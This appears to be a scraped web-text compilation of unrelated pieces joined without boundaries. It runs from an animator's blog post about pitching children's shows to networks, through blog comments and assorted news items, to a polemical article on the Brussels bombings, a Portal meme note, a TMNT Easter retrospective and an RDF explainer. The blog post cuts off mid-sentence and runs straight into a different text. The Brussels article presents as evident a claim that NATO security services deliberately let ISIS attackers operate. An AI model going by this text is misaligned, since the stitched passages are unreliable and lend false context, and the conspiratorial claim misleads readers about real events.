I also learned to create contracts with things clearly spelled out: any ideas that came up during the process, I owned. I worked closely with a production company for a while during development with a loose arrangement and mostly on good faith, but sooner or later water gets murky and clarity is needed. Advice: get proper contracts from the get-go. Seriously. It needs to be clear that you’re paying x person or studio, x amount in exchange for the work they do. If you don’t do this, it’s more-than-likely going to cause an upset later down the line. If you’re working with friends, there’s a whole extra dynamic at play which can go south if you’re not careful. (During Dogshow I wasn’t sure what contract a contributor had signed with the production company and wasn’t sure what I could ask of her. As a result, she wanted to be a co-creator for the input she was having – not good. It’s around this time I wondered why I was giving up so much control.)
Moosebox has had its false-starts, heart-breaks and highlights. Luckily I have someone at Nickelodeon who is a fan of the show, who had quite a lot of input into it and who I feel is fighting in my corner, so there may still be life for it.
At the moment the show has a 2-min pilot, a KIFF beautiful show bible (even if I do say so myself) and an 11-min pilot script with an animatic. After Nickelodeon officially passed on the show, I was promised rights would revert to me. After triple checking this would happen and making sure I hadn’t forgotten about this promise, when the documents were apparently ready and on my contact’s desk, someone at Nickelodeon decided that they actually want to finance 20 x 90 second shorts, so that’s in discussion at the moment. Is this new development real? An illusion? Who knows. Apparently Nickelodeon can drag things on for a while. Time will tell.
Even though a bright future looks likely, I’m holding my breath until the documents are signed and we’re actually working on it.
Dogshow with Cat
Dogshow on the other hand had a bit of a strange journey. Being the most recent pilot project I’ve made, it’s the freshest in my memory.
It started out with me selling Bru & Boegie to Triggerfish & Disney as part of their ‘StoryLab’. I created Bru & Boegie in 2002, have created hundreds of comic strips and self-published a bunch of Bru & Boegie comic books, created animated shorts with them in – I’m very protective over them, nobody knows them better than I do. I pitched it in good faith that should it be selected, both Triggerfish and Disney would have a clear understanding about who they are, so they knew what they’re getting themselves into. When Bru & Boegie *was* selected for Story Lab, I was thrilled – I thought ‘finally a studio is taking a chance, they’re pushing the envelope and trying something different.’ My assumptions turned out to be dead wrong – almost immediately Disney’s compliance department told me I’d need to change the underpants, and then there were questions about their lips. We hit an impasse and I realised if I wanted to gain any ground, I’d be having to fight a lot. Even though I found examples of other kids shows for the same demographic audience that had characters in underpants (there’s even a ‘Captain Underpants’ movie coming out) to support my argument, I didn’t feel like Disney got my show *at all*. Luckily, Triggerfish suggested we take Bru & Boegie off the table and make a new show. I got Bru & Boegie back, but I could have lost them to Disney who I imagine have a big pile of unused purchased IP. For getting Bru & Boegie back from the maws of the shark, I’m grateful. The StoryLab was a success in many ways – we got a trip to LA, got a stack of valuable experience and I got a pilot financed. We re-jigged things and branched off Bru & Boegie’s cat & dog into their own new and different characters and added a new character; ‘Mike’ – a way for me to feel even more invested in the show. I’m kicking myself a little bit because I didn’t make the dog different enough to Bru & Boegie’s dog, so I’ve got to be a little careful about how I use the dog in my passion projects. (I talk more about why you shouldn’t necessarily combine your passion projects and commercial work.)
Even though the DTI (South Africa’s Department of Trade & Industry) pulled out of funding the Story Lab (I believe Triggerfish ended up fiancing the whole thing, I was wrongly under the impression that Disney paid for most of it) the experience taught me a lot. One of them: if I don’t put my foot down, it’s my fault when things go awry. After going back and forth between trying to please Triggerfish and Disney and doing my own thing and after fulfilling my contractual obligations, once the dust had settled and we weren’t in production anymore with a deadline over our heads, I picked apart the process and suggested ways we may do better next time. I’ve erred on the side of being definite in how I’d like to work should the show get further funding, which sounds like it may not fly. It feels like a weight off my shoulders – I laid my cards on the table for how they’d be able to get the best work out of me, and even though Triggerfish isn’t keen I feel like I’ve saved us both a lot of potential grief by getting over my people-pleasing complex and being direct and honest. It was a gamble that I felt was necessary and worth it. It’s a gamble either way when working relationships seem to be at odds with the project, and I don’t know what the right answer is.
One general thing that tripped me up (I’ve thought about this a lot – I really want to learn from this experience) and one that I don’t have any advice for, but can at least share: when I finally relented and agreed to tweak as much as was necessary to make the show into a safe, suitable, appealing IP for 6 – 12 year olds, take on notes in good faith that the investor should call the shots as it’s their money, and let contributors have more of a say – it seemed to create an immediate negative knee-jerk reaction from the studio. They didn’t like that *at all*, they really wanted me to make my own thing.
What complicated matters further is there was not a standard monogamous relationship – myself and the network involved. There was a polyamorous setup, a love triangle of sorts, with myself, Triggerfish *and* Disney involved. It’s my show but it’s not really, I can be overruled at any time, I’ve been hired by an intermediary company for a parent company but the intermediary company has put up all the money. Please note: this isn’t anyone’s fault. We’re all trying our best. I can only talk for myself here, and again it’s worth noting Triggerfish did a lot of cool stuff for StoryLab. Any time I think about Story Lab there’s a tension within me that is grateful to have been part of it, but also wanting to be critical to not make the same mistakes again. I felt like there were too many cooks involved, and as with nearly everything, this is my own fault for allowing it. Animation’s already hard, but we made it even harder. Triggerfish has a good track record with 3D animation, we were doing our best to create a makeshift 2D pipeline from scratch, with every animator using a different software package, I had a few gatekeepers between myself and the contributors so I wasn’t able to get a proper personal rapport, the pilot had to incorporate soccer AND we had a deadline fast approaching. You know that saying ‘KISS – Keep It Simple, Stupid’? I learned the value of adhering to this approach after production on the 2-min pilot, a thousand times over. If the end results were always better with a more complicated setup I’d be ok to look at such a setup again, but I’ve found a leaner setup allows for a better result, at least until we plug into a proper 2D pipeline. I understand this goes against the popular belief that ‘collaboration makes everything better’. I’d add to this ‘collaboration with the right people who save you time and who need minimal input’ makes everything better. The ‘everyone has a say’ system can work as long as it’s clear who’s making the final decision. I’ve found decisions by democracy are almost never good for creative work. It’s sometimes called ‘death by committee’.
At the moment the show has a kiff show bible, a 2-min pilot that’s not really representative of the updated show, an amazing pilot script that I’d love to see made and holds a lot of potential. I’ve insisted on working the way I know best to make the pilot – I dig the 11-min pilot script we have and would dig to produce and animate it under my own roof. However, my insistence on working a certain way for the future may have been a deal-breaker. After being critical of the production process and offering suggestions for how I’d like to better work next time, one studio partner has said ‘they cannot recommend me for mainstream animation’ and that ‘I have little understanding of how the process works’, another partner has said they wish to discuss further. I’m keen to focus on the pilot but the studio wishes to find $1m funding for the first season, and would need a distributor to come on board to add their thumbprint and funding. Because this was somewhat different to a standard commercial project where I’m not so emotionally invested, I’ve decided the best thing for both me and the two studios involved is for me to “let it go”, accept that I may not be part of the show’s future, that it really isn’t my show or my responsibility, reset, dissolve my ego around the project to neither oppose or align my ego with the studio or network. I’m reading Eckhart Tolle’s ‘New Earth’ which is helping me identify how ego attachments can cause many problems for me and others. Even as I type, thinking about this project evokes a ‘battle mode’ response in my body that’s not healthy – a kind of ‘I really need to fight for this’ thing.
If I’d done this again I’d have either insisted on either handing it over to a studio with a tried-and-tested 2D pipeline to avoid the many headaches that come with production (I suggested this in the beginning stages but we decided against it), or totally relinquish control and let someone else call the shots, or insist on taking over production 100% myself in-house.
As a note, I’ve been told by Triggerfish that many of the other StoryLab ‘winners’ are experiencing good success with their shows’ development, so all the best to the studio and them.
Passion vs. Commerce
It’s worth making a distinction about ‘passion projects’ and ‘commercial work’. In an ideal world, we’d all be doing our passion projects to earn a living, and if you’re doing that, you’ve won at life – congratulations. However, sometimes the beautiful worlds of ‘passion projects’ and the rule-oriented world of ‘commercial projects for kids of a certain age where child psychologists and compliance departments are king’ don’t overlap particularly neatly.
I’ve watched creators talk about pitching shows, read many stories about how shows were greenlit, heard execs speak about what they look for in a show pitch, and been through two pitches-to-show-bible-with-a-short-pilot processes myself. From the network’s side, they may get the best out of you if you pitch that thing you love because there’s a good chance you’ll go the extra mile to make it work. However, it may not be such a reciprocal relationship.
If you have a project you’ve been working on for a long time and are precious about, my advice here would be to create a project that has some of the elements that you like about your own project, but make it different enough so that if the show dead-ends, it’s not too devastating.
The potential downside is that the network / studio may not be getting the best work out of you, which isn’t so great for them. That’s the gamble you need to make, and I don’t know what the right answer is. I used to think that you should always pitch the projects that you love the most, and put your whole heart into all your work. A colleague suggested not doing this, and I’m seeing the sense in it. In the past, making a project ‘my baby for a while’ was simpler to do because I could be sure my work would make it through production to the end, and the public would see it. With an animated show, there are a number of hoops to jump through and the plug can be pulled at any time. There are also NDA’s so people may never see your work.
Now I think differently – rather pitch an emptier vessel that both you and the investor / studio can fill, so you both feel ownership. Protect your heart a little bit, rather take things slowly, start with a mutt that you can work up into a pedigree. Don’t give them your golden goose – it’s going to be harder for you both to put their stamp on it. It should be something that you at least ‘like’ because if an exec decides that ‘yep, let’s take a chance on creator x’ there’s a chance you may spend years working on that project, and you hope that you can both fashion it into something you (and others) end up loving.
With standard commercial work, the understanding is often a lot simpler: I’m working for you, you hired me because you like my work, I work on a project until we’re both happy with it – job done. However, with a kids show, I think networks are trying to figure out what makes a show successful, and one of the things they’ve discovered is that they need a creator with a strong voice, someone with ‘the vision’, a captain who’s able to steer the vessel to shore safely. In truth, I feel like it’s more of a push-pull game. If the vision is so clear that the network / studio doesn’t have a say, that’s no fun for them – the game is up. If the captain’s just doing whatever the network / studio say, that’s no fun either – the game is up. When working with a network / studio funding the project, the network / studio is the one who decides whether the game is up or not. This can be disempowering and disheartening for the captain for sure, but knowing this dynamic from the beginning can help matters. If anything, smile and enjoy the ride.
Advice from the Pros.
I’ve asked for advice from successful people in the field and results differ. I’ve received the suggestion of ‘going as far out as possible and doing exactly what you want because the network will always pull you back’ (‘Shoot for the Moon & Land on a Star’ vibes). Other advice from a really successful show creator is ‘he realised the network can’t make the show without him – they need him and they’re trying their best, so, have some patience with network execs.’ Robert Downer Jr. (not in the animation field but universal advice anyway) says he listens and nods and then does his own thing anyway.
There doesn’t seem to be any sure-fire formula to success with getting a show on air. I love reading and talking about this stuff, so from memory, some successful stories include:
Rugrats: the creator pitched a bunch of well worked-out ideas that the network wasn’t that keen on, and Rugrats was literally an idea scribbled on a scrap of paper in a her pocket that she pitched as a last throw-away idea, which the network loved.
For Spongebob, the creator Stephen Hillenburg had everything worked out from top to bottom – beautifully painted backgrounds, characters worked out, and even a conch that played the shows’ theme tune. He was able to combine his love of marine biology and animation into one project. Hillenburg had experience for how to run a show from working on ‘Rocko’s Modern Life’. When the show launched, audiences didn’t really take to Spongebob and his friends but Stephen insisted that Nickelodeon ride it out a bit – turned out audiences loved the sponge and his friends. I also remember reading that someone who worked on Spongebob said ‘everything you see up on screen is a compromise’, meaning it will always be tweaked by network notes.
Phineas and Ferb, the creators tried unsuccessfully to get their show greenlit for 10 years (!) until they decided to do exactly what they wanted, and it worked out.
The Breadwinners, I believe they made a pilot for Nickelodeon, Nick didn’t pick up on the series and the creators took a chance and made the pilot on their own dime anyway which got them a foot in the door for a greenlit show. I believe the show didn’t do particularly well with ratings, but still – mad props to them.
Adventure Time – started out as a pilot for Nickelodeon. Nick passed on it, I guess it got sold to Cartoon Network and they turned it into a series, becoming one of their most successful IPs to date.
I believe the legend is Matt Groening came up with the idea for ‘The Simpsons’ (the idea of a nuclear family as a prime time sitcom show) in a cab on his way to a network meeting. The exec (David Silverman I think?) initially wanted to license his ‘Life in Hell’ series (which I love) but Groening was smart enough to not sell his baby. Life in Hell would’ve been a rad show though. The Simpsons debuted on Tracy Ullman’s show, audiences loved it and the rest is history. I believe Groening’s ‘Futurama’ wasn’t nearly as easy a ride to success – the network who picked up the series wanted to give him tons of notes, and he and his team really had to put their foot down by saying ‘we know what we want, please don’t do this’ and they played the balancing act of potentially losing the network’s financing to remain true to their idea. Thank goodness they stuck to their guns. I remember reading that Groening’s said that getting Futurama on air was ‘one of the worst experiences of his adult life.’
It does seem like some shows take years from the initial pilot, to getting a series greenlit.
The ‘note under the note’ to Blandsville
Last year at Kidscreen we had a sit-down meet-and-greet with a British producer who seemed to be worth his salt. He said there’s a big gap for music-based kids shows. Even our Disney contact said combining music and a kids show is a good idea. It’s something I’ve always wanted to do as I’ve been in a number of bands and would be combining my love of music with animation, so, I themed Dogshow around music – my Goldfish music videos are successful (each video’s got a couple of millions views on YouTube), I produce them myself and if I don’t produce and animate the whole video myself I sometimes hire people with the budget. (This is also why I was so adamant on making the 11-min Dogshow pilot myself – it’s full of kiff songs, it’d be like 3 Goldfish animated music videos in one). So I thought ‘Aw Yis, this is like combining Goldfish videos and an animated show’ something I’d already dreamed of doing. Now that the bible is done, one big distributor that was interested in the IP doesn’t want to do a music-based show – they’re staying away from music because ‘dubbing into other languages is hard.’
Now, this doesn’t mean all distributors won’t be interested, but it does lead me to the point that ‘animation execs just don’t know everything – the best they can do is let you know what they know, but that may not be enough’.
Pilar Alessandra talks about understanding the ‘note under the note’ – even when a suggestion is given for how to fix something (in an animation script or a piece of animation or |
invade other nations" They're both non-sensical, highly offensive, and completely divorced from reality. But I guess from the standpoint of the three-ring nightmare circus that we're in, they both make perfect sense.
We are deep, deep, deep down the rabbit hole.
COMMENT #7 [Permalink]
... Mark S said on 8/14/2008 @ 7:24 pm PT...
But...but...but...everyone knows it's Diane Feinstein's fault. I distinctly recall a bunch of drives and petition efforts urging her not to confirm Mukasey. I know I signed several and I made my phone calls and sent my emails. See? Not all the evil in the world is due to Nancy Pelosi.
COMMENT #8 [Permalink]
... Kmac said on 8/15/2008 @ 5:25 am PT...
Seems to always come out of California, tho!
COMMENT #9 [Permalink]
... Joan said on 8/15/2008 @ 9:14 am PT...Buy Photo Current Gov. Matt Bevin chided the House Democrats. state’s budget. (Photo: Scott Utterback/The CJ )Buy Photo
On Monday at a National Governors Association meeting with President Barack Obama, Kentucky Gov. Matt Bevin asked about the federal debt.
Obama turned the tables on him and launched into a defense of the Affordable Care Act, which Bevin opposes and has worked to dismantle Kentucky's health insurance exchange that was created under the health care law.
"Curious as to your thoughts on the debt of this nation and the lack of any political discourse on either side of the aisle in any of the debates," Bevin said.
Obama told Bevin that the federal deficit has gone down by two-thirds since he took office. Then he pivoted to talk about Obamacare, saying that the program has worked to hold down health care costs but then chiding Republicans who have opposed his health care reforms.
"So my hope is is that we get into a serious conversation," Obama said. "Maybe it'll have to happen once I'm gone because the Affordable Care Act and the debate around health care has gotten so politicized, so toxic that we can't have a sensible conversation about it, despite the fact that I implemented a measure that was passed by a Republican governor... and we've embraced cost-saving measures that used to be championed by Republicans and now, suddenly, this is some Obama scheme."
If the player doesn't appear above, you can watch the clip at C-SPAN.org
Joseph Gerth can be reached at 502-582-4702 or [email protected]. Follow him on Twitter at @Joe_Gerth.
Read or Share this story: http://cjky.it/1QFpSORThe US-NATO war in Syria and the Brussels terror attacks
By Alex Lantier
28 March 2016
As revelations mount of police foreknowledge of the March 22 Brussels bombings, the central question that is emerging is why the security forces of Belgium and its NATO allies did not move to stop the attacks. That the Belgian state had detailed prior knowledge of the Islamic State in Iraq and Syria (ISIS) network that carried out the bombings is emerging in numerous press reports.
On Sunday, the Sunday Times carried an interview with Alexandrino Rodrigues, the landlord of the flat in the Schaerbeek neighbourhood where the March 22 attackers raised suspicions by releasing chemical odours as they built the bombs they later took to Zaventem Airport. Police had previously gone to the apartment and knocked on the door, apparently without entering. “There were investigations before and after the events” of March 22, Rodrigues said, adding, “You can’t catch a rabbit without knowing where it lives.”
Police rapidly moved on the Schaerbeek apartment after the airport bombings, sealing it off only 90 minutes after the attack. Police said they had been alerted by a tip from the taxi driver who drove the bombers to the airport. However, the taxi driver subsequently contradicted this account, saying he had alerted police only after a photo of the attackers was released several hours later, leaving unexplained how police reacted so quickly.
This story, the New York Times wrote, is “raising questions about whether the police had perhaps already had the building in their sights but, for some reason, had not moved in and smashed through the front door of the sixth-floor apartment until it was too late.”
This news came after Friday’s reports that police knew the location of the hideout of Salah Abdeslam, the ISIS fugitive wanted in the November 13 terror attacks in Paris, throughout the four months in which he was described as “Europe’s most wanted” man, until his capture on March 18. Police did not try to apprehend him for the entire period. Once he was captured, moreover, he received only a perfunctory two-hour interrogation. Though he knew several of the March 22 attackers, including Najim Laachraoui, he was reportedly not asked whether any other attacks were being prepared.
The New York Times’ characterization of these events as a “trail of dots not connected,” echoing the official position of the Belgian government, does not hold water. In reality, this attack, like the two ISIS attacks in Paris last year, are the product of the reckless and reactionary decision of Washington and its major European allies to mobilize Islamist militias to wage a proxy war for regime change in Syria.
For years, a small army of European Islamist fighters has been traveling back and forth between Europe and Syria to carry out raids and terror bombings aimed at destabilizing and toppling President Bashar al-Assad’s government. A Europe1 report last December, citing the New York-based private intelligence firm Soufan Group, estimated the number of foreign Islamist fighters in Syria at between 27,000 and 31,000. These included 5,000 Europeans, with 1,700 from France alone.
Other major contributors were the Maghreb, with 8,000 fighters (including 6,000 from Tunisia), the Middle East, with over 8,000 fighters (including 2,500 Saudis), and Russia and Central Asia, with 4,500 (including 2,400 Russians).
Such a vast and undisturbed flow of fighters could not proceed without the knowledge of the intelligence agencies, many of which have worked closely with these proxy forces in Syria to plan attacks on Assad’s troops and on Syrian civilians. This is why those leading the major ISIS attacks in Europe—the Kouachi brothers who attacked Charlie Hebdo, November 13 attack leader Abdelhamid Abaaoud, and the El Bakraoui brothers in Brussels—were to a man well known to the security services. It is evident that protocols were in place for their movements to proceed unhindered, so they could plan and execute attacks.
“Europe knew exactly what was happening, but they started a blame game and said the entire problem was on the Turkish-Syrian border,” a senior Turkish security official told the Guardian.
This official complained that European intelligence agencies did not help Ankara track European Islamists arriving in Turkey to go to Syria, and even helped Islamist fighters deported from Turkey return there, the Guardian reported, quoting him as saying, “Without European intelligence backing, [Turkey] could only prosecute them for attempting to illegally cross into Syria and deport them back to Europe. Some of those deported were later given new passports and allowed to travel back to Turkey.”
The handful of alleged ISIS accomplices, logistical aides and document forgers now being arrested in police raids—seven in Brussels, two in Paris, several more in Germany and Italy—are a tiny part of the vast network built up during NATO’s war in Syria. Viewed in this context, European officials’ carefully worded statements on the attacks make clear that their security forces are badly stretched by the Islamist operations they have unleashed.
“We have had results to find the terrorists and, both in Brussels and in Paris, there have been a certain number of arrests that took place,” French President François Hollande said Friday, “but we know there are other networks. Even if the network that committed the Paris and Brussels attacks is on the way to being annihilated, a threat remains.”
“The threat is unprecedented, and intelligence and domestic law enforcement agencies appear to be overwhelmed by the numbers involved,” said Aaron Stein of the Atlantic Council think tank.
The conflict is all the more bitter because, through the Brussels attacks, ISIS is intervening in a raging debate over the war within the foreign policy establishments of the NATO powers, fuelled by the stark reversals suffered by their proxy forces at the hands of Syrian government forces backed by Russian air power.
These conflicts emerged publicly on Saturday with reports that a Pentagon-backed ethnic Kurdish militia, the Syrian Democratic Forces, was engaging in gun battles with an Arab Islamist militia backed by the CIA and Turkey, the Fursan al-Haq (“Army of Righteousness”). This brought US military and Turkish officials to “loggerheads,” the Los Angeles Times wrote.
Turkey fears that Syrian Democratic Forces victories in Syria could lead to the formation of an independent Kurdish state on Turkey’s southern border, stoking up separatist sentiment among Kurds across the border in Turkey itself.
As these conflicts erupt on the ground in Syria, correspondingly violent debates are proceeding behind the scenes in the offices and agencies of the major NATO powers, as they debate how to respond to the Russian military intervention in Syria.
The Syrian government, which recently recaptured Palmyra, has been vastly strengthened by Russian operations and airstrikes. Speaking yesterday on CBS News’ “Face the Nation” program upon his return from talks with Russian President Vladimir Putin in Geneva, US Secretary of State John Kerry indicated that Washington was considering taking a more conciliatory stance toward Russia.
Kerry said, “Russia has helped to bring about the Iran nuclear agreement, Russia helped to get the chemical weapons out of Syria. Russia is now helping with the cessation of hostilities [in Syria]. And if Russia can help us to actually effect this political transition—that is all to the strategic interests of the United States of America.”
Such proposals pose a deadly threat to ISIS, its fighters in Syria, and its recruiting networks and operatives internationally, all of which are products of the US-led imperialist wars in Iraq, Libya and Syria. The Brussels attacks have the character of a bloody signal from ISIS that, due to its substantial logistical infrastructure within Europe, it can retaliate against Russian airstrikes and a possible cut-off of NATO support in Syria with deadly terror attacks in Europe and beyond.
The victims of such atrocities, and the criminal policies of the imperialist powers that ultimately spawned them, are innocent civilians across the Middle East and North Africa, and increasingly within Europe itself.
Please enable JavaScript to view the comments powered by Disqus.About:
Hoopy the Hoop is a meme that spawned from the ending of the first Portal game.
Origin:
At the end of the game once Spoiler Alert GlaDos is destroyed the game's main character, Chell sees a hoop land and fall flat infront of her.
Valve originally thought this would be the meme of the game stating,
"We thought we should have a warehouse full of Hoopy t-shirts and mugs and posters…we would watch that hoop roll by over and over again. That was the part of the game we were most proud of, and nobody cared." They had never anticipated that The Cake is a Lie would become the meme everyone would remember.
Hoopy does make some cameo appearances in Portal 2 but he is just a prop you can pick up.
Because of this many people don't know about Hoopy the Hoop and he has almost faded away into obscurity.× Harley-Davidson says it’s not hosting President Trump’s visit on Thursday
MILWAUKEE — A spokeswoman for Harley-Davidson Inc. told the Milwaukee Business Journal Tuesday that neither the company nor the Harley-Davidson Museum in the Menomonee Valley will be hosting a reported Milwaukee visit planned by President Donald Trump.
Harley-Davidson spokeswoman Maripat Blankenheim was responding to a question regarding a Facebook post from an organization calling itself the Milwaukee Coalition Against Trump. The post calls for an emergency protest against President Trump’s visit at the site of Harley-Davidson’s plant in Menomonee Falls, at W156 N9000 Pilgrim Road.
“We do not have a scheduled visit with the president this week at any of our facilities,” Blankenheim said via email.
President Donald Trump is planning to deliver a speech on the economy in Milwaukee on Thursday.
The White House confirmed the planned visit on Monday, which comes two weeks into Trump’s presidency. His last trip to Wisconsin was in December as part of his victory tour.
No other details about his planned Thursday trip to Wisconsin have been released.
CLICK HERE for more on this story via the Milwaukee Business Journal.Russian Foreign Minister Sergei Lavrov said that risks of conflict between the US and North Korea turning into a full-fledged war are high, this would involve a huge number of victims.
"The risks are very high, especially regarding the rhetoric [between the two countries]. We hear direct threats to use force. At the same time, US Secretary of Defense Mattis stated once again: Yes, this will involve a huge number of human casualties, and yet talks about a pre-emptive strike on North Korea, talks in Pyongyang, that it is necessary to strike the island of Guam, where several US military bases are located, do not stop," Lavrov said.
"Of course, this concerns us very much," Lavrov said at a forum, adding that when it almost comes to a fight "the first step away from danger should be taken by the stronger, smarter side."
The Russian top diplomat also said that Moscow is hoping that common sense will prevail in the situation around North Korea despite escalated rhetoric on part of both Pyongyang and Washington.
"Unfortunately, the rhetoric in Washington and Pyongyang is beginning to turn extreme. We are still expecting common sense to prevail," Lavrov said at a youth forum in Russia's Vladimir region.
Russia has repeatedly voiced concern over the escalation on the Korean peninsula. During Chinese President Xi Jinping's visit to Moscow earlier this summer, the Russian and Chinese foreign ministries issued a joint statement proposing ways to de-escalate the situation. Moscow and Beijing called on Pyongyang to stop nuclear tests and urged Washington and Seoul to refrain from conducting joint drills.
At the same time, Sergei Lavrov stated, that Russia will not accept North Korea being in possession of nuclear weapons.
North Korea said on Wednesday that it was considering a missile attack near the US island of Guam, which hosts several US military bases after President Donald Trump threatened Pyongyang with "fire and fury" over its recurring missile tests.
Tensions in the region have recently intensified due to North Korea's multiple nuclear tests and ballistic missile launches conducted in violation of UN Security Council resolutions. Last month, Pyongyang conducted two tests of intercontinental ballistic missiles. According to the Korean Central News Agency, the latest launch on July 28 was successful, and the missile reached the altitude of 3,725 kilometers and traveled 998 kilometers, for about 47 minutes, before falling into the Sea of Japan.With Easter passing by for another year, families everywhere are settling into the spring season. Candy, toys, games, and goodies have been distributed, and colorful eggs were found hidden all over the house (and will continue to be found into the summer months). It’s a great holiday to celebrate many different things, and certainly it’s a treat to be visited by the Easter Bunny. It’s even more fun when springtime has the rabbit in a favorite TV show, like Teenage Mutant Ninja Turtles. Yes, the turtles have gone on many adventures over their 30 years, and that has included getting up close and personal with a large rabbit that stood in as Easter’s spiritual guide.
In the 1987 animated series, April O’Neil and the crew at Channel 6 were preparing an Easter egg hunt – until Bebop and Rocksteady arrive dressed as Easter Bunnies and blast everyone with Krang’s Docilizer Ray. To save the city, Leonardo and Raphael enter the Fairy Tale Dimension via Donatello’s dimensional gate, and search for the Cyranium Crystal. In the new world, they encounter characters from children’s fairy tales, including the hare from “The Tortoise and the Hare” – Hokum Hare. Hokum doesn’t take kindly to the turtles, and follows them on their mission. After a run-in with the giant from “Jack and the Beanstalk,” Leo and Raph secure the crystal and get back to Earth with Hokum in tow. Successfully stopping Shredder and Krang, the turtles find April and the others safe, and Hokum Hare helps out everyone by standing in for the Easter Bunny to make the news station’s egg hunt a total success.
In the spirit of Easter, the episodes featuring Hokum Hare were released together on a tape titled “Teenage Mutant Ninja Turtles: The Turtles’ Awesome Easter.” However, Hokum Hare was no friendly bunny, and he was not the nicest ally that the turtles ever met. He was suspicious, unhelpful, and a little cowardly. He only wanted to keep an eye on the turtles so they didn’t beat him in the race yet again (thinking they were tortoises). However, Hokum proved that he had the makings of a great ally when he secured the Cyranium Crystal and when he stood in for the Easter Bunny. He even proved that he could be a hero, when he discovered Shredder’s plan to travel through time and helped the turtles thwart his future follies.
The turtles have had some odd allies over the years, but Hokum Hare is in a unique category. Brought to audiences during season five (though the episodes didn’t air until a 1991, thanks to scheduling and rights issues), Hokum Hare showed that he was something of a forgettable character. Not only is he a fairy tale character, but between his helping hand and the marketing on his episodes, he was meant to serve as an Easter character for the show. He certainly had competition from another rabbit in Miyamoto Usagi. If he had some sort of useful gimmick like the rabbit ronin, then perhaps the Easter Bunny would have been more usable.
Hokum was a nonsensical character who did not make any appearances beyond his two-episode story, and he never showed much promise in the way that other allies did once introduced. But when kids needed a few episodes that they could enjoy with a holiday or theme or something else that added a little specialness to a particular day, it was good to have the catalog available and the oddball character to go with them. So for all the fans out there, Happy Easter – now go and enjoy a little Hokum Hare!Appearing on an episode of Inside The NFL on Tuesday night, Ray Lewis, a former star linebacker for the Ravens and constant Colin Kaepernick detractor, said the Ravens didn’t sign the exiled quarterback because of his girlfriend’s tweets.
In August, Kaepernick’s girlfriend Nessa, a personality on New York radio station Hot 97, posted this:
In a conversation with the NFL Network’s Judy Battista, Lewis said that Ravens owner Steve Bisciotti and the team were making plans to sign the free agent quarterback until they saw the tweet. Lewis played a part in the deal falling through, according to a release detailing the exchange.
The following is the transcript from Showtime for the exchange between Battista and Lewis:
Judy Battista – “I’m startled that he has not been signed. I’ve been told ever since I’ve started covering the NFL that talent wins out. We’ve seen teams take chances on a lot of unsavory characters. The fact that this is what has tipped over and they can’t come to grips with signing a guy who has kneeled for the national anthem but you’ve signed guys that have enormous legal issues — and they’ve been embraced by teams and they’ve been embraced by fans — I find that curious.” Ray Lewis – “When me and Steve Bisciotti were talking, this is what we were talking about, Judy. We were talking about giving this kid an opportunity to get back in the National Football League. Look, this is what I wanted to share with people. I have been fighting for this kid behind the table like nobody has … I’ve never been against Colin Kaepernick. But I am against the way he’s done it. “Then, his girl [Nessa] goes out and puts out this racist gesture and doesn’t know we are in the back office about to try to get this guy signed. Steve Bisciotti has said it himself, ‘How can you crucify Ray Lewis when Ray Lewis is the one calling for Colin Kaepernick?’… “When they (the Ravens) called me, it was to say, ‘Yes’ or ‘No.’ … We were going to close the deal to sign him … Steve Bisciotti said, ‘I want to hear Colin Kaepernick speak to let me know that he wants to play football.’ … And it never happens because that picture comes up the next day.“ Judy Battista – “So, if not for that … tweet, you think he would be a Baltimore Raven?” Ray Lewis – “Then he’s flying him to Baltimore. I am sitting with all three of them and we are all having a conversation about bringing Colin Kaepernick in.“
(Video of the exchange is here.)
Lewis’ comments are another piece of the puzzle as to why Kaepernick has not been signed by an NFL franchise this offseason. It’s another reason he’s gone from football stardom to NFL exile.Most kids spend their babysitting money at a shopping centre. Not this one.
A child has gone behind her parents’ back to get vaccinated and her parents are not happy.
We are though. We are so gloriously proud of the girl who saved up her babysitting money and spent it getting vaccinated. As was tweeted by @Xtin, “That kid for queen of the world.”
A woman from Ontario posted a rant on Reddit about her daughter getting vaccinated without her consent. (*Funnily enough, the original post has now been deleted.)
She wrote, “None of my children are vaccinated. Totally by accident I came to find out that my oldest daughter has been fully vaccinated.”
Twitter user, Xtin tweeted, “Kid has nutbar antivax parents. Kid uses babysitting money to get vaccinated on the DL. YASSSSS RT @chaeronaea: lmfao.”
The tweet consists of the post submitted by the ‘nutbar antivax parents’.Samsung Display is said to be preparing a first look at a stretchable display design at a US conference tomorrow. According to Yonhap News, Samsung will reveal a 9.1-inch stretchable organic LED panel during the Society for Information Display 2017 event which runs Tuesday through Thursday at the LA Convention Center.
Stretchable displays are next evolution of the flexible display market, which includes curved and rollable displays, but it’s said to be the most advanced form. “While current flexible OLED is able to be transformed in only one side, this stretchable OLED can be transformed — whether curved, bended [sic] or rolled — in both sides, above and below,” a Samsung Display spokesperson told the Korea Herald.
Samsung also reportedly told the Korea Herald that, when pressed, the display could move 12 millimeters in a direction and then settle when released — like a balloon. This could potentially lead to smartphones screens that are less likely to crack, but also ones that could be expanded or shrunk depending on the situation.
Meanwhile, the Korean manufacturer is expected to unveil a 1.96-inch UHD (3840 x 2160) display at the same conference, which would feature 2250 pixels-per-inch and be primed for VR.
Though both Samsung and LG are believed to be readying smartphones with folding displays, likely for release next year, there’s no telling how far flexible displays could be from commercialization.RDF is a standard model for data interchange on the Web. RDF has features that facilitate data merging even if the underlying schemas differ, and it specifically supports the evolution of schemas over time without requiring all the data consumers to be changed. RDF extends the linking structure of the Web to use URIs to name the relationship between things as well as the two ends of the link (this is usually referred to as a “triple”). Using this simple model, it allows structured and semi-structured data to be mixed, exposed, and shared across different applications. This linking structure forms a directed, labeled graph, where the edges represent the named link between two resources, represented by the graph nodes. This graph view is the easiest possible mental model for RDF and is often used in easy-to-understand visual explanations. – http://www.w3.org/RDF/
Depending on your background that may, or may not, have been very helpful. Let’s dissect it a bit. RDF is about:
data from different sources
dealing with data that changes over time
representing data as URI’s (Uniform resource identifiers, addresses)
structuring links between elements of data
these links are described by triples
and, the triples form a directed labeled graph
